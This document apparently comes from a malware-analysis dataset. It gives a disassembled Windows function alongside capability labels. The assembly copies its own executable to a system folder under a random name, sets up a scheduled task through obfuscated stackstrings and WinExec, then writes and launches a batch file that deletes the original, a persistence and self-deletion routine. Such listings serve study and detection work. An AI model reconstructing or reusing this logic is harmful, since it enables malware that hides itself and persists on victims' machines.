Function at 0x4081b0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Get common file path
Get file size
Schedule task via at
Schedule task via schtasks
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e8fb
mov eax, dword fs:[0]
push eax
sub esp, 0x9f4
mov eax, dword [0x401054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x7fff
xor edi, edi
call fcn.00410b35
push 0x7fff
mov esi, eax
call fcn.00410b35
add esp, 8
mov ebx, eax
mov dword [ebp - 0xa00], ebx
push edi
push 0x24
push esi
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x1000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call fcn.00410b30
add esp, 4
call fcn.00408150
push edi
push 0x80
push 3
push edi
push 1
mov esi, eax
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
test ebx, ebx
je 0x408260
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, 0xa00000
cmp ecx, eax
push ebx
sbb edi, edi
neg edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.SHLWAPI.dll_StrRChrA]
push 0x5c
push 0
push esi
call ebx
test eax, eax
je 0x40827b
push 0x5c
push 0
push esi
call ebx
mov byte [eax], 0
mov ebx, dword [ebp - 0xa00]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
xor ecx, ecx
test eax, eax
push ebx
cmovne edi, ecx
call fcn.00410b30
push esi
call fcn.00410b30
add esp, 8
test edi, edi
jne 0x40854d
push 0x7fff
call fcn.00410b35
push 0x7fff
mov esi, eax
call fcn.00410b35
add esp, 8
mov edi, eax
push 0
push 0x24
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x1000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call fcn.00410b30
add esp, 4
call fcn.00408150
mov ebx, eax
mov dword [ebp - 0x9ec], 0
mov dword [ebp - 0x9e8], 0xf
mov byte [ebp - 0x9fc], 0
mov ecx, edi
mov dword [ebp - 4], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408313
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x9fc]
call fcn.00408c00
push 1
push 0x401b3c
lea ecx, [ebp - 0x9fc]
call fcn.00408c00
push 0xa
push 6
call fcn.0040a6f0
mov edx, eax
add esp, 8
lea esi, [edx + 1]
nop dword [eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x408350
sub edx, esi
lea ecx, [ebp - 0x9fc]
push edx
push eax
call fcn.00408c00
push 4
lea eax, [ebp - 0xa00]
mov dword [ebp - 0xa00], 0x6578652e
push eax
lea ecx, [ebp - 0x9fc]
call fcn.00408c00
cmp dword [ebp - 0x9e8], 0x10
lea eax, [ebp - 0x9fc]
push 0
cmovae eax, dword [ebp - 0x9fc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp dword [ebp - 0x9e8], 0x10
lea eax, [ebp - 0x9fc]
cmovae eax, dword [ebp - 0x9fc]
push eax
call fcn.004097d0
movaps xmm0, xmmword [0x401ba0]
movups xmmword [ebp - 0x11c], xmm0
push 0xa
movaps xmm0, xmmword [0x401d20]
movups xmmword [ebp - 0x10c], xmm0
push 6
movaps xmm0, xmmword [0x401d60]
movups xmmword [ebp - 0xfc], xmm0
mov dword [ebp - 0x4c], 0x206e7572
movaps xmm0, xmmword [0x401d70]
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0x48], 0x204e542f
movaps xmm0, xmmword [0x401c10]
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0x44], 0x297325
movaps xmm0, xmmword [0x401ca0]
movups xmmword [ebp - 0xcc], xmm0
movaps xmm0, xmmword [0x401bd0]
movups xmmword [ebp - 0xbc], xmm0
movaps xmm0, xmmword [0x401cd0]
movups xmmword [ebp - 0xac], xmm0
movaps xmm0, xmmword [0x401bb0]
movups xmmword [ebp - 0x9c], xmm0
movaps xmm0, xmmword [0x401c50]
movups xmmword [ebp - 0x8c], xmm0
movaps xmm0, xmmword [0x401bc0]
movups xmmword [ebp - 0x7c], xmm0
movaps xmm0, xmmword [0x401be0]
movups xmmword [ebp - 0x6c], xmm0
movaps xmm0, xmmword [0x401bf0]
movups xmmword [ebp - 0x5c], xmm0
call fcn.0040a6f0
cmp dword [ebp - 0x9e8], 0x10
lea ecx, [ebp - 0x9fc]
mov esi, eax
lea eax, [ebp - 0x11c]
cmovae ecx, dword [ebp - 0x9fc]
push esi
push ecx
push esi
push esi
push eax
lea eax, [ebp - 0x9e4]
push eax
call fcn.0040b110
push esi
call fcn.00410b30
add esp, 0x28
lea eax, [ebp - 0x9e4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call fcn.00410b30
add esp, 4
mov dword [ebp - 0x20], 0x6d747474
mov dword [ebp - 0x1c], 0x6c696670
mov dword [ebp - 0x18], 0x61622e65
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x20]
mov word [ebp - 0x14], 0x74
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x408569
mov edx, dword [ebp - 0x9e8]
cmp edx, 0x10
jb 0x40854d
mov ecx, dword [ebp - 0x9fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408543
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408625
push edx
push ecx
call fcn.0040b36e
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b37c
mov esp, ebp
pop ebp
ret
call fcn.00408150
push 0xc8
mov esi, eax
lea eax, [ebp - 0x1e4]
push 0
push eax
call fcn.0040cf50
movaps xmm0, xmmword [0x401c90]
lea eax, [ebp - 0x20]
push eax
push esi
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30], 0x22206c65
push eax
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0x2c], 0x26227325
push eax
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x28], 0x206c6564
mov word [ebp - 0x24], 0x7325
mov byte [ebp - 0x22], 0
call fcn.0040b110
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0xa00], 0
add esp, 0x1c
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085d8
push 0
sub eax, edx
lea ecx, [ebp - 0xa00]
push ecx
inc eax
push eax
lea eax, [ebp - 0x1e4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x401b00
push 0x401b00
lea eax, [ebp - 0x20]
push eax
push 0x401b34
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call fcn.00410df5
call fcn.0040eb69
int3